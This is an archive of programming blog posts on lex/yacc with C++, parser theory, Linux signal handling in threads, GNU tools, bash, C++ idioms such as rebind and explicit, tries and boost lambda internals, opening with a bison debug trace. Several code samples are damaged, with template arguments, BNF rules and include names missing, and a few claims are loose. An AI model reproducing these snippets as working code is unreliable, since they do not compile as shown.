Error: popping token error ()
Stack now 0 5
Shifting token error ()
Entering state 1
Reading a token: --accepting rule at line 29 (" ")
--accepting rule at line 30 ("<")
Next token is token '<' ()
Error: discarding token '<' ()
Error: popping token error ()
Stack now 0 5
Shifting token error ()
Entering state 1
Reading a token: --accepting rule at line 23 ("a")
a
Next token is token TEXT ()
Error: discarding token TEXT ()
Error: popping token error ()
Stack now 0 5
Shifting token error ()
Entering state 1
Reading a token: --accepting rule at line 30 (",")
Next token is token ',' ()
Error: discarding token ',' ()
Error: popping token error ()
Stack now 0 5
Shifting token error ()
Entering state 1
Reading a token: --accepting rule at line 23 ("b")
b
Next token is token TEXT ()
Error: discarding token TEXT ()
Error: popping token error ()
Stack now 0 5
Shifting token error ()
Entering state 1
Reading a token: --accepting rule at line 30 (">")
Next token is token '>' ()
Error: discarding token '>' ()
Error: popping token error ()
Stack now 0 5
Shifting token error ()
Entering state 1
Reading a token: --(end of buffer or a NUL)

References:
1. Lex & Yacc John R. Levine, Tony Mason, Doug Brown ISBN: 1565920007
2. http://dinosaur.compilertools.net/yacc/index.html

Compilers Part 2, lex & yacc with C++, types of external linkage

2008-01-29T09:55:00.000-05:00

Lex and Yacc were traditionally used with C, more importantly lots of default functions provided by the lex/yacc (or flex/bison) library all have C linkage, meaning their function names are not mangled, notably yyparse, yywrap, yyerror.

yyparse generated by yacc internally calls yylex generated by lex. Therefore it's important that both yyparse and yylex use same linkage, either C or C++. linkage is determined in the definition section.

For example in this yacc definition of grammar.y:
%{
extern "C"{
extern int yyerror(char *);
}
extern int yylex(void);
%}

yyerror has C linkage, this parser uses the default yyerror implementation provided by the yacc library (-ly). yylex has the linkage the compiler used to compile the generated source code, in the case (gcc -c y.tab.c) the result yylex will have a C linkage, evidenced by (nm y.tab.o|grep yylex) 'U yylex'

On the other hand, if g++ is used to compile (g++ -c -x c++ y.tab.c), the result yylex symbol in the grammar object file will have C++ linkage, its name will be mangled as shown by 'nm': 'U _Z5yylexv'. In both cases, 'U' means undefined symbol because it has external linkage and will be provided by another compilation unit. The mangled name can be inspected by 'nm -C y.tab.o|grep lex' which yields 'U yylex()'

Ok, enough introduction of library, external linkage and nm tricks. The point is when using lex&yacc with C++, it's very important to pay attention to function names and declare proper linkage.

If we intend to use C++ to compile/link our grammar.y example with a grammar.l lex file, the lex file needs to have the following definition:
%{
extern "C"{
//extern int yylex(void);
}
#include "y.tab.h"
%}

Note that yylex is specifically commented out to make it clear that it will use the compiler default linkage (C for gcc or C++ for g++).

Here is a makefile that can be used to compile lex/yacc with C++ code embedded directly.



LEX=flex
YACC=bison
CXX=g++
CXXFLAGS=-g -O0
%: %.l %.y
    $(LEX) -t $@.l > $@.c
    if [[ -e $@.y ]] ; then \
        $(YACC) -d --verbose --debug $@.y; \
        $(CXX) $(CXXFLAGS) -c -x c++ $@.tab.c; \
        $(CXX) $(CXXFLAGS) -c -x c++ $@.c; \
        $(CXX) $@.o $@.tab.o -o $@ -ly -lfl -lm ; \
    else \
        $(CXX) $(CXXFLAGS) -o $@ $@.c -lfl -lm ; \
    fi
    @if [[ -e y.tab.c ]] ; then rm $@.tab.c ; fi
    @if [[ -e y.tab.h ]] ; then rm $@.tab.h ; fi
    #@-rm $@.c
clean:
    rm *.o

If you examine the lex generated source code, you will see something like this:



/* Default declaration of generated scanner - a define so the user can
 * easily add parameters.
 */
#ifndef YY_DECL
#define YY_DECL_IS_OURS 1

extern int yylex (void);

#define YY_DECL int yylex (void)
#endif /* !YY_DECL */
/** The main scanner function which does all the work.
 */
YY_DECL
{

The extra 'extern' storage specifier for int yylex() is redundant and confusing. According to C and C++ linkage rule, an 'extern' function with a visible definition in the same file will result in external linkage. Since yylex is later defined in the lex generated source code, yylex has external linkage and internal definition (lacking a better term). In the following example, test has external linkage and internal definition; test1 has external linkage and external definition; test2 causes compilation failure. In this nm output, 'T' means the test has internal definition and its definition is in the text section of the object file; 'U' means test1 is undefined (external definition, defined in another translation/compilation unit/object file).

00000000 T test
U test1



#include < errno.h>
extern int errno;

int errno;

extern int test();
extern int test1();
extern int test2();

int test(){
    test1();
    test();
    errno = 10;
}

static int test2(){
    test();
}

References:
1. http://publications.gbdirect.co.uk/c_book/chapter4/linkage.html
2. http://publications.gbdirect.co.uk/c_book/chapter8/declarations_and_definitions.html

Compilers Part 1, top-down vs. bottom-up and why nested C style comment is disallowed

2008-01-22T10:14:00.000-05:00

Yacc allows BNF syntax such as this (note definition section is omitted for illustration purpose):



program:
      program statement '\n'
    | 
    ;

statement:
      expression
    | VARIABLE '=' expression
    ;

expression:
      INTEGER
    | VARIABLE
    | expression '+' expression
    | expression '-' expression
    | expression '*' expression
    | expression '/' expression
    | '(' expression ')'
    ;

A program is a collection of statements and has a left recursion in its grammar. Now this would have been a problem for a top-down (predicative) or recursive descent or LL (left to right and left most derivation) parser due to the fact that left recursive grammar causes indefinite parsing of input string. Yacc has no problem with such kind of grammar because Yacc is a bottom-up or shift-reduce or LR (left to right and producing right most derivation) parser. In fact left recursive grammar produces better parser with Yacc due to less number of stack entries used during shift-reduce.

Often hand crafted lexers and parsers take LL(k) approach, that is LL with k # of characters look ahead. As the LL parser reads a input string, it generates a syntax tree started from nothing (root). It's done more often simply because it's easier to write a LL(k) parser.

LR or shift-reduce parser often has an easier time parsing because a LR parser is an automaton suitable for parsing string patterns efficiently (Refer to the finite automaton regex pattern matching algorithm in Introduction to Algorithm). Often course it's possible and done to hand craft LR parsers.

In improved form LALR (look ahead left to right right most derivation production) parser such as Yacc, stacks are used to support shift-reduce and reduce-reduce operations. Yacc takes a default action when there is a conflict. For shift-reduce conflicts, yacc will shift. For reduce-reduce conflicts, it will use the first rule in the listing. It also issues a warning message whenever a conflict exists.

A common problem is parsing of a c comment /* this is a comment *****/, such syntax can be expressed as:

comment.l



%%
"/*"        {
            register int c;

            for ( ; ; )
                {
                while ( (c = input()) != '*' &&
                        c != EOF )
                    ;    /* eat up text of comment */

                if ( c == '*' )
                    {
                    while ( (c = input()) == '*' )
                        ;
                    if ( c == '/' )
                        break;    /* found the end */
                    }

                if ( c == EOF )
                    {
                    error( "EOF in comment" );
                    break;
                    }
                }
            }
%%

In this example, the lexer simply skips the comment, also note that nested comments are not allowed. This lexer code is prevalent in most C compiler implementation and is the reason why nested comment is still not allowed in C regardless the advance of parsing technology.

Do use lex/yacc to implement scanner/parsers instead of handcrafting them.

On using lex/yacc with C++:
"To summarize: don't bother to compile your Lexer in C++, keep it in C. Make your Parser in C++ and explain your compiler that some functions are C functions with extern "C" statements."

References
1. http://www.lysator.liu.se/c/ANSI-C-grammar-l.html
2. http://www.garshol.priv.no/download/text/bnf.html

Notes on Linux signal in the context of process and thread

2008-01-18T10:42:00.000-05:00

Handing Linux signals correctly is difficult, for a few reasons 1) Linux signal descends from the archaic Unix SysV signal system, it still supports the signal/pause calls etc that are susceptible to race conditions and all kinds of haphazard ways of bad signal handling practice; 2) The POSIX standard is intentionally cloudy on a couple of signal related issues, e.g. fields in siginfo_t; 3) Linux signal does not always follow the POSIX standard; 4) There are still lots of code using the SysV signal mechanism, that should be migrated to the better POSIX system.

Linux Programming by Example has an excellent chapter on Linux signal handling. The picture is not complete because Linux thread increases the complexity of signal handling. The following code tries to demonstrate a few important points of Linux signal handling in the context Linux threads:



/*
1. there is no per thread signal mask or signal handler, these concepts only
applies to a process

2. raise and kill work differently with pthreads

3. synchronous signal raised by a thread goes to that thread itself *only* not the process group

*/
#include < iostream>
using namespace std;

#include < boost/thread/thread.hpp>

extern "C"{
#include < signal.h>
}

volatile sig_atomic_t interrupted = 0;
int standby_thr_pid = (long int)syscall(224);

//#define SI_USER     0       /* sent by kill, sigsend, raise */
//#define SI_KERNEL   0x80        /* sent by the kernel from somewhere */
//#define SI_QUEUE    -1      /* sent by sigqueue */
//#define SI_TIMER __SI_CODE(__SI_TIMER,-2) /* sent by timer expiration */
//#define SI_MESGQ __SI_CODE(__SI_MESGQ,-3) /* sent by real time mesq state change */
//#define SI_ASYNCIO  -4      /* sent by AIO completion */
//#define SI_SIGIO    -5      /* sent by queued SIGIO */
//#define SI_TKILL    -6      /* sent by tkill system call */
//#define SI_DETHREAD -7      /* sent by execve() killing subsidiary threads */

// pid = 0 uid = 0 -> process itself
// else pid > 0 uid > 0 -> external process sent signal
// si_code = 128 (0x80) sent by kernel, e.g. interactive terminal ctl+c
// si_code = -6         sent by tkill
// si_code = 0          sent by kill/killpg/raise call
// there is no per thread signal handler, signal handler is installed
// process wise always
void ctlc(int sig, siginfo_t * info, void * context){
    interrupted = 1;
    int pid = (long int)syscall(224);
    cout << pid << " received: " <<
    sig << ' ' << info->si_code << ' ' << info->si_pid << ' ' << info->si_uid << '\n';
}

// raise SIGINT in a separate thread
void sig_sender(void){
    cout << "sig sender " << (long int)syscall(224) << '\n';
    sleep(3);
    raise(SIGINT);          // raise = kill(getpid(), sig) in process, signal sent to sender itself only
    sleep(1);
    kill(standby_thr_pid, SIGINT); // signal only sent to the standby thread process/thread
}

void sig_receiver(void){
    //sigset_t set, old_set;

    //sigaddset(&set, SIGINT);
    //sigprocmask(SIG_BLOCK, &set, &old_set);

    cout << "sig installer: " << (long int)syscall(224) << '\n';
    struct sigaction act, old_act;
    sigaddset(&(act.sa_mask), SIGINT);
    sigaddset(&(act.sa_mask), SIGSEGV);
    act.sa_flags = SA_SIGINFO;
    act.sa_sigaction = ctlc;

    sigaction(SIGINT, &act, &old_act);
    sigaction(SIGSEGV, &act, &old_act);
}

void standby(void){
    standby_thr_pid = (long int)syscall(224);
    cout << "sig standby " << standby_thr_pid << '\n';
    sleep(5);
}
// one thread acts as sender, the other receiver
int main(){
    boost::thread trs(sig_sender);
    boost::thread trr(sig_receiver);
    boost::thread trsb(standby);
    while(true){
        sleep(1);
        if(interrupted){
            cout << "interrupt handler invoked\n";
            interrupted = 0;
        }
    }
}

Annoying issue with Linux sound

2008-01-10T13:34:00.000-05:00

To this day, linux sound device cannot be shared by multiple sound players. Typially /dev/dsp is locked by a single process and no other process can access it and output any sound. This is quite annoying because sometimes it's difficult to figure out what process has the lock on /dev/dsp. lsof does not do anything.

If you insist to reuse the sound device, you have to restart the sound service. This is /etc/init.d/alsasound on Suse Linux. Restarting the sound service will cause termination of locking process (through SIGIO or SIGPIPE I imagine) and release the sound device. After which (in gnome) add back the volume control applet to the application tray in lower right corner.

Graph algorithms, data structures, pattern, and algorithm correctness

2008-01-03T13:51:00.000-05:00

GNU tool chain

2008-01-03T12:16:00.000-05:00

I have been quite busy with several projects for the last month (hence the lack of blog activity) and in the process, I've learnt a few tricks about makefile, vim/cscope, and man page.

Given a large project on GNU/linux, it's often necessary to first cross reference the code, getting a higher level overview of the data structures, generate man pages of essential APIs and data types.

The following tools are my favorite

1. umbrello, for creating high level UML diagrams of essential data structures and APIs
2. cscope, ctags to generate cross reference, sometimes I also use lxr for c/c++ projects
3. creating man pages, this generally involves a few shell scripts and perl scripts to convert html document to man page.
4. use small test programs to understand the existing framework's APIs and design structure.

During the process, I found it's essential to have a basic knowledge of the following GNU toolchain to make a developer's life easier:

1. bash scripting. Writing bash script is like writing assembly, succinct, efficient, and to the point. One additional trick is the bash built in 'help' command to look up information on bash builtin commands, e.g. 'help for'

2. vim or emacs. After 13 years of vim, there are still new things to be learnt, this is a keybind macro I devised recently to lookup C++ stl API/data structures directly from SGI website inside vim (look at the html source code directly to see how this macro is done, there is no direct way to expose it through blogspot):


:vmap  :!links -dump http://www.sgi.com/tech/stl/=expand('').html\|vim -R -

Enter visual mode (v), highly your keyword, and push Ctrl+k, this will take you to another vim session with the page downloaded and formatted. Isn't it neat?

3. makefile. It's naive to think of makefile/make as only a compile/link tool. It's more than that. Ever notice its similarity with the EBNF form in terms of structure? Yes it's actually an automaton, a complete turing machine. It can be literally used to perform any task C/C++/Perl etc can do. Its EBNF structure provides a powerful and intuitive hierarchical approach to resolve difficult problems.

4. The old and good man page. Use 'shift+k' inside vim on a keyword (non visual mode) to get its man page, this is default installed in vim. Typically MANPATH is the search path for man pages. I have not found a good way to break up long lines in man pages. COLUMNWIDTH etc does not seem to affect man page generation from a text file with troff.

References:
1. http://www.hsrl.rutgers.edu/ug/shell_help.html
2. http://vim.wikia.com/wiki/Mapping_keys_in_Vim_-_Tutorial_(Part_1)#Visual_mode_maps
3. http://www.osdev.org/wiki/Makefile
4. Bash Cookbook solutions and examples for bash users
5. Hacking vim a cookbook to get the most out of the latest vim editor
6. http://www.gnu.org/software/make/manual/make.html (unfortunately there is not a single book available to systematically introduce gnu make to general public. The manual remains the sole source of comprehensive explanation of gnu make)

Bash resources

2007-11-20T14:54:00.000-05:00

To work productively on a linux platform, it's essential to learn a few bash tricks to improve productivity and efficiency.

Rules of bash variable expansion:

• Parameter expansion means that we could use other shell variables in this
expression, as in: ${BASE:=${HOME}}.
• Tilde expansion means that we can use expressions like ~bob and it will expand
that to refer to the home directory of the username bob. Use ${BASE:=~uid17} to
set the default value to the home directory for user uid17, but don’t put quotes
around this string, as that will defeat the tilde expansion.
• Command substitution is what we used in the example; it will run the commands
and take their output as the value for the variable. Commands are
enclosed in the single parentheses syntax, $( cmds ).
• Arithmetic expansion means that we can do integer arithmetic, using the $(( ... ))
syntax in this expression. Here’s an example:
echo ${BASE:=/home/uid$((ID+1))}

References:

1. My Favorite bash Tips and Tricks
http://www.linuxjournal.com/article/7385

2. Power shell usage: bash tips and tricks
http://www.ukuug.org/events/linux2003/papers/bash_tips/index.html

3. Discover best bash and bash sites
http://www.blinklist.com/tag/bash/

4. http://geeki.wordpress.com/category/bash/

5. http://devmanual.gentoo.org/tools-reference/bash/index.html

C++: function visibility and accessibility: lookup and overloading

2007-11-20T11:31:00.000-05:00

C++ has some esoteric feature concerning private class member names visibility and accessibility. By definition, a private class member name is only accessible by the class members and friends. However the rule of visibility can confuse many programmers. Herb Sutter has summarized these rules in a great article '(Mostly) Private' published on DDJ.

1. A private member's name is only accessible to other members and friends.
2. A private member is visible to all code that sees the class's definition. This means that its parameter types must be declared even if they can never be needed in this translation unit...
3. Overload resolution happens before accessibility checking.

Take the following example:



// http://www.ddj.com/cpp/184403867
// (Mostly) Private
//
// Example 3: A partly fixed version of Example 1
//
#include < complex>

class Calc { 
public: 
    double Twice( double d ); 
private: 
    int Twice( int i ); 
    std::complex Twice( std::complex c ); 
};

int main() { 
    Calc c; 
    return c.Twice( 21 ); // error, Twice is inaccessible 
}

When the compiler has to resolve the call to a function S, it does three main things, in order:
a. Before doing anything else, the compiler searches for a scope that has at least one entity named Twice and makes a list of candidates. In this case, name lookup first looks in the scope of Calc to see if there is at least one function named Twice; if there isn't, base classes and enclosing namespaces will be considered in turn, one at a time, until a scope having at least one candidate is found. In this case, though, the very first scope the compiler looks in already has an entity named Twice — in fact, it has three of them, and so that trio becomes the set of candidates. (For more information about name lookup in C++, with discussion about how it affects the way you should package your classes and their interfaces, see also Items 31-34 in Exceptional C++. [4])
b. Next, the compiler performs overload resolution to pick the unique best match out of the list of candidates. In this case, the argument is 21, which is an int, and the available overloads take a double, an int, and a complex. Clearly the int parameter is the best match for the int argument (it's an exact match and no conversions are required), and so Twice(int) is selected.
c. Finally, the compiler performs accessibility checking to determine whether the selected function can be called. In this case... boom thud splatter.

4. A private member is visible to all code that sees the class's definition. This means that ... it participates in name lookup and overload resolution and so can make calls invalid or ambiguous even though it itself could never be called.

5. Code that has access to a member can grant that access to any other code, by leaking a (name-free) pointer to that member.

References:

1. (Mostly) Private, Herb Sutter, C/C++ Users Journal, Jul 01 2003

C++: rules of destructor declaration

2007-11-19T11:10:00.000-05:00

A C++ class destructor is responsible to release the resource this class allocates during its lifetime. For a class that does not allocate any resource explicitly, it's often neglected by the class implementor and compilers merrily generate an implicit public destructor that is often suffice.

Things become a little more complicated when a class does allocate resource and needs to release it during destruction. The first rule that concerns C++ destructor is called 'rule of three', which states if one must define a destructor, one must also define copy constructor and copy assignment operator. Vice versa, if one of those three functions needs to be defined, then all three need to be defined. This rule ensures proper resource management to avoid resource leak or dangling resource.

The 'rule of three' is best applied to a concrete class that sports no inheritance or polymorphic behavior. Otherwise the rule becomes more complicated. One popular rule concerning base class destructor is that 'base class destructor must be virtual'. In fact compilers such as GNU C++ compiler issue diagnostics when it detects a base class destructor is not defined virtual.

However, as all rules, it's important to understand the intention and applicability of a rule and to act best according to its spirit. The intention of the fore mentioned base destructor rule is to ensure proper resource management when client code deletes a derived class object through a base class pointer. Given this guideline, one could make such an observation that one can simply disallow such erroneous behavior when appropriate. To do this, the base class destructor can be declared protected and non-virtual. Once this is done, such a destructor is no longer accessible to client code through delete. The mechanism of delete is explained in a previous entry on this blog. Basically, a delete call performs the following step, 1) call class destructor, polymorphically when its virtual; 2) call class operator delete if it's defined; else call global operator delete if it's defined; else call default std::delete to release the memory this class object occupies.

When a base class destructored is declared protected, client code can no longer delete a base pointer because the base destructor is only accessible to its derived class but not to the client code. Any client code insists doing so will be diagnosed with a compiler error.

Why would we want to this instead of simply following the 'base destructor must be public virtual'?

1) Performance, without virtual function, virtual function dispatching overhead is no longer incurred. This can provide significant performance boost on architectures that supports pipelining, speculative execution, TLBs, paging and caching. Because virtual function dispatching involves pointer indirection, it's likely that page faults will be generated and TLBs flushed and repopulated. Due to the extreme dynamic nature of virtual function dispatching, destination code will only be known at the last point of runtime execution, pipelining and speculative execution will be stalled and results flushed to accommodate immediate code branching.

2) Design, it simply does not make sense to have virtual public destructor when it's known a priori that such a class hierarchy does not manage any kind of resource.

Given these arguments, the second rule of destructor declaration is that 'base class destructor should be either protected non-virtual or public virtual, with protected non-virtual preferred'.

References:

1. Virtuality, Herb Sutter, C/C++ Users Journal, 19(9), September 2001
2. Generic: Change the way you write exeption-safe code---forever, Andrei Alexandrescu and Peru Marginean, C/C++ Users Journal, Dec 01, 2000

C++: Understand rebind

2007-11-15T11:42:00.000-05:00

You may have seen some esoteric C++ line such as this one:

typedef typename _Alloc::template rebind<_Tp>::other alloc_type;

In fact if you have read my previous entry on std::vector internal, you have read this line. Naturally the first question is what this line means?

It defines another _Alloc type (alloc_type) bound by a template parameter _Tp. It behaves just like _Alloc except that it is templatized by _Tp. It's not known at this point exactly what type _Alloc or alloc_type is. _Alloc could be a non-template type; it could be a template class and have 1,2,3...arbitrary number of template parameters. But we know that _Alloc has a inner template class named "rebind" that takes a single template parameter (apart from default template parameters rebind might define).



_Alloc_type{
public:
    template < typename U>
    struct rebind{ 
        typedef some_type < U> other;                       // (a)
        //typedef _Alloc_type < U> other;                   // (b)
        //typedef _Alloc_type < U, T1, T2, T3, T4> other;   // (c)
    };
};

Apart from the theoretical possibilities, the common use of rebind is in conjuncture with a templatized _Alloc_type. Let's rule out case (a) where rebind really has nothing to do with _Alloc_type and becomes a rhetoric exercise. (b) and (c) are equally valid, and currently in STL, we see a pervasive use of case (b).

Let's expand case (b)



template < typename T>
struct _Alloc_type{
    template < typename U>
    struct rebind{
        typedef some_type< U> other;                       // (a)
        //typedef _Alloc_type< U> other;                   // (b)
        //typedef _Alloc_type< U, T1, T2, T3, T4> other;   // (c)
    };
};

Let's also define a client class that will use _Alloc_type



template < typename T, typename U, class _Alloc = _Alloc_type < T> >
struct client{
    typedef typename _Alloc::template rebind< U>::other alloc_type;
};

client< int, int *>::alloc_type allocator;

this client structure converts a int allocator to a int * allocator. Such an exercise may seem in vain given that one can simply write something simpler and equivalent:

_Alloc_type< int *> allocator;

So here is the 2nd question, why would anyone sane want to do something so strange? Let's see the power of such a construct by redo the code structure, such as the way it's used in std::vector:



template < typename T, typename _Alloc>
struct client_base {
    typedef typename _Alloc::template rebind< T>::other alloc_type;
};

template < typename T, typename _Alloc = std::allocator < T> >
struct client : client_base< T, _Alloc> {
};

Here client_base takes a template parameter _Alloc from its derived client class. It is obvious that client_base has no knowedge of the exact type of _Alloc. It does not know if _Alloc will fulfill its need to work with type T. But it knows that _Alloc abide by the contract that _Alloc provides a rebind template to create another _Alloc that will work with any type T. The rebind idiom provides an excellent detour/indirection to create another type that behaves like _Alloc and works on any type T.

To better understand the idea of rebind, let's also expand case (c):




template < typename T, typename T1, typename T2, typename T3, typename T4>
struct custom_allocator {
    template < typename U>
    struct rebind{
        typedef _Alloc_type< U, T1, T2, T3, T4> other;   // (c)
    };
};

template < typename T, typename _Alloc>
struct client_base {
    typedef typename _Alloc::template rebind< T>::other alloc_type;
};

template < typename T, typename T1, typename T2, typename T3, typename T4, typename _Alloc = custom_allocator< T, T1, T2, T3, T4> >
struct client : client_base< T3, _Alloc> {
};

Here client::_Alloc is custom_allocator< T, T1, T2, T3, T4> but client_base::alloc_type is custom_allocator< T3, T1, T2, T3, T4>.

rebind (policy clone) is a powerful idiom to create an indirection for template types to bind together and construct new types on the fly without prior knowledge of a class template, e.g. how many template parameters it requires to instantiate and it puts no limit on the number of template parameters an abiding class template has.

References:

1. Policy Clone
2. Template Typedef, Herb Sutter, GotW #79

Trier Tree distilled

2007-11-15T10:43:00.000-05:00

If you walk into any interview that deals with text processing. You will inevitably be asked a question that involves a Trier Tree (TT). A TT is a special tree with its edge marked by identification symbol and its vertex (node) marked by success/failure of predetermined condition.

Take the typical definition of a TT whose edge is a alphabet letter and vertex indicating if a word can be found in a dictionary connecting all edge letters from root to here. This is the most common use of a TT. Another scenario involves having edges marked by numeric letter and node indicating if a telephone number can be found in a phone book connecting all edge numbers from root to here.

It can be summarized that a TT is a tree to describe a structure of composition from elemental building blocks to some known super structures. Symbolically, let E{x | x belongs to E} denote elemental building blocks and S{y | y belongs to S} denote super structures. All edge symbols of TT belongs to E and connecting edge symbols along a path results in c that either belongs to S {y} or not.

A easy way to understand TT is to think of it as if it's composed of many paths, some path terminates with a success symbol and some path terminates with a failure symbol.

Take this example, banana, we know that ban and banana are both valid words by looking up a dictionary. R is root, F is failure, S is success, ---(alpha)--- is a edge. According to the dictionary we construct a TT such as following:

R---b--->F---a--->F---n--->S---a--->F---n--->F---a--->S

Now given the challedge 'is ba a word?', by following such a TT, we know that it ends up with a vertex symbol F indicating 'ba' is not a word.

More complicated TT can be built by following such a principle, first there is a dictionary of all super structures S that can be broken down into elemental building blocks E. Start from root R, create a path for each y in S using its building blocks x in E as edge symbols, mark each vertex on its path F if it's a new vertex and mark its ending vertex S. After creating such a TT, then it can be used to verify any y in S in O(length(y)) time.

Using Explicit in C++ (Repost)

2007-11-08T12:46:00.002-05:00

Using Explicit in C++
http://www.glenmccl.com/tip_023.htm

In C++ it is possible to declare constructors for a class, taking a single parameter, and use those constructors for doing type conversion. For example:



        class A {
        public:
                A(int);
        };
        void f(A) {}
        void g()
        {
                A a1 = 37;
                A a2 = A(47);
                A a3(57);
                a1 = 67;
                f(77);
        }

A declaration like:

A a1 = 37;

says to call the A(int) constructor to create an A object from the integer value. Such a constructor is called a "converting constructor".

However, this type of implicit conversion can be confusing, and there is a way of disabling it, using a new keyword "explicit" in the constructor declaration:



        class A {
        public:
                explicit A(int);
        };
        void f(A) {}
        void g()
        {
                A a1 = 37;      // illegal
                A a2 = A(47);   // OK
                A a3(57);       // OK
                a1 = 67;        // illegal
                f(77);          // illegal
        }

Using the explicit keyword, a constructor is declared to be
"nonconverting", and explicit constructor syntax is required:



        class A {
        public:
                explicit A(int);
        };
        void f(A) {}
        void g()
        {
                A a1 = A(37);
                A a2 = A(47);
                A a3(57);
                A a4 = 10; // error
                a1 = A(67);
                f(A(77));
        }

Note that an expression such as:

A(47)

is closely related to function-style casts supported by C++. For example:



        double d = 12.34;
        int i = int(d);

Declaring a single argument copy constructor explicit also means it cannot be used in standard containers because the standard requires support of implicit copy constructor in this form:
T dest = src;

Although this requirement is not widely implemented in most vendor STL implementations. Another factor is that STL usually works with 0 argument constructors where explicit does not come into play.

Wolfram's 2,3 turing machine was proven to be universal

2007-10-24T21:42:00.000-05:00

http://www.wolframscience.com/prizes/tm23/solution_news.html
http://www.wolframscience.com/prizes/tm23/TM23Proof.pdf

A system is "Universal" if it can, given infinite memory and an appropriate program, compute any computable function. A previous system even more simple than this one, Rule 110, was proven to be Universal by one of Wolfram's associates (Wolfram had the idea that it might be, Matthew Cook discovered the proof). However, a Universal Turing machine has some extra requirements with regards to the implementation. So this is the simplest Universal Turing Machine.

If you already know programming, then here's how to think of it:

A Turing machine is a programming language.
A Universal Turing machine is a language that is sufficiently flexible enough to perform any computation (including emulate any other Turing machine - i.e. language)
A Non-Universal Turing machine is a language that is built to do a specific purpose well, but does not have enough flexibility to perform any computation.

For computer programmers, nearly every general-purpose language we deal with on a daily basis is Turing-complete. An example of a non-Turing Complete language might be a configuration file. It has a language, you may even be able to do some basic scripting in it, but unless it is built out of a general-purpose language you cannot perform any computation in it.

What they think it is useful for is to help us to make nanomachines easier. If we can construct a Turing machine with simpler parts, we can have a compiler that can pick up the slack in making the program.

Totalview debugging tips

2007-10-24T10:30:00.000-05:00

Totalview is a multi platform debugger that has the best support for parallel software debugging. Here are a couple of tricks I learnt recently:

1. mpi application startup. With openmpi, use command 'mpirun -tv -np N program'. With mpich2, one can use either 'mpirun -tv -np N program' or 'totalview python -a `which mpiexec` -tvsu -np N program'. Totalview cannot restart program with the first command. Totalview GUI provides an interface to launch MPI application directly, one can specify the MPI library type, NP from the interface. This is the best way to start MPI program with totalview without platform dependent knowledge.

2. Mixed language program debugging. This gem was provided by totalview tech support. Quote:

One method that may be easier than others is to
set a breakpoint in the C++ code where the variable is initialized
(assuming it's in the C++ code where this happens). Then you can dive
on the variable, and if it gets returned to the Fortran code, you
already have a handle on it. Of course, sometimes it's not that simple.
But the basic idea is easy to follow.

When in the Fortran code, dive on the variable in question. In the data
window, you should see a button that says More (and Less) If you are
using 8.3, it shows now as an arrow pointing down with a + sign next to
it. Clicking on this or the more button expands the header, and allows
you to change the language to C or C++. You should then be able to cast
the type to a pointer to the appropriate structure. I've used the
previous method (breakpointing in the C++ initialization routine) just
to find the right type to cast to, but that was basically because I was
unfamiliar with the code being looked at.

C++ boost lambda internals

2007-10-23T08:12:00.000-05:00

Theoretical Background:

In computer science, lambda as an abbreviation refers to lambda function in lambda calculus (http://en.wikipedia.org/wiki/Lambda_calculus). lambda calculus is a fundamental concept in theory of computability developed by Alonzo Church. It's the theoretical foundation of many functional programming languages.

Informally, in lambda calculus, every expression stands for a function with a single input, called its argument; the argument of the function is in turn a function with a single argument, and the value of the function is another function with a single argument. A function is anonymously defined by a lambda expression which expresses the function's action on its argument. For instance, the "add-two" function f such that f(x) = x + 2 would be expressed in lambda calculus as λ x. x + 2 (or equivalently as λ y. y + 2; the name of the formal argument is immaterial) and the application of the function f(3) would be written as (λ x. x + 2) 3. Function application is left associative: f x y = (f x) y.

Formally lambda calculus can be expressed in the following BNF rules:

::=
::= (λ . )
::= ( )

The first 2 rules are used to describe logical forms to construct lambda functions. The last rule describe applications of lambda function.

Two note worthy observations from the above description:

1) C++ non member function, static member function, non static member function, in general a C++ function that assumes the form of return_type func(argument) DOES not qualify as a lambda function because return_type cannot be function in C++. return_type could be a function pointer or a functor, used in a form similar to a function. Due to this reason, when we talk about C++ lambda function our relaxed defintion often does not conform to the precise definition given in lambda calculus.

2) The 3rd rule implies that it's possible to have a lambda function that takes itself as argument and thus results in infinite recursion (left recursion) depending on the action the lambda function performs.

lambda in C++

A popular implementation of lambda calculus in C++ is provided by lambda library in boost distribution (http://www.boost.org/doc/html/lambda.html). First we start with a boost lambda example and demonstrate the internals of boost lambda. During investigation, the following tools are used: vim, grep, totalview, ksnapshot, g++

#include "boost/lambda/lambda.hpp"

#include
#include

using namespace std;
using namespace boost::lambda;

int main(){

int x[5] = {1,2,3,4,5};

for_each(x, x+5, cout << _1 << '\n');
}

In this example, we defined 2 lambdas (lambda and function with previous clarification are inter-exchangeable terms from now on) and applied lambda for_each on the 2nd user defined lambda 'cout << _1 << '\n'.

_1 is a place holder defined in /usr/include/boost/lambda/core.hpp as:


namespace boost {
namespace lambda {

namespace {

  // These are constants types and need to be initialised
  boost::lambda::placeholder1_type free1 = boost::lambda::placeholder1_type();
  boost::lambda::placeholder2_type free2 = boost::lambda::placeholder2_type();
  boost::lambda::placeholder3_type free3 = boost::lambda::placeholder3_type();

  boost::lambda::placeholder1_type& _1 = free1;
  boost::lambda::placeholder2_type& _2 = free2;
  boost::lambda::placeholder3_type& _3 = free3;
  // _1, _2, ... naming scheme by Peter Dimov
} // unnamed

} // lambda
} // boost

/usr/include/boost/lambda/detail/lambda_functors.hpp defines the placeholder1_type as:



typedef const lambda_functor< placeholder >  placeholder1_type;
template  struct placeholder; 
    
template<> struct placeholder {

  template struct sig {
    typedef typename detail::get_element_or_null_type<0, SigArgs>::type type;
  };

  template 
  RET call(CALL_FORMAL_ARGS) const { 
    BOOST_STATIC_ASSERT(boost::is_reference::value); 
    CALL_USE_ARGS; // does nothing, prevents warnings for unused args
    return a;
  }
};

Or in the form after macro expansion:

template  struct placeholder;

template<> struct placeholder {

  template struct sig {
    typedef typename detail::get_element_or_null_type<0, SigArgs>::type type;
  };

  template
  RET call(A& a, B& b, C& c, Env& env) const {
    typedef ::boost::static_assert_test< sizeof(::boost::STATIC_ASSERTION_FAILURE< (bool)( boost::is_reference::value ) >)> boost_static_assert_typedef_60;
    ::boost::lambda::detail::do_nothing(a, b, c, env);
    return a;
  }
};

Notable keywords here are: sig, call, as they clue us eventually to how the lambda library implements for_each lambda call. The macro expanded form is obtained by supplying "--save-temps' argument to g++. Similar option is available for other c++ compilers to aid analysis of complex c++ template and macro laiden programs.

Compile time C++ parser picks up lambda 'cout << _1 << '\n'' and uses Koenig name look up rule (argument dependent name lookup) to resolve first '<<' into an operator overloaded in lambda namespace. The overloaded operator is defined in /usr/include/boost/lambda/detail/operators.hpp


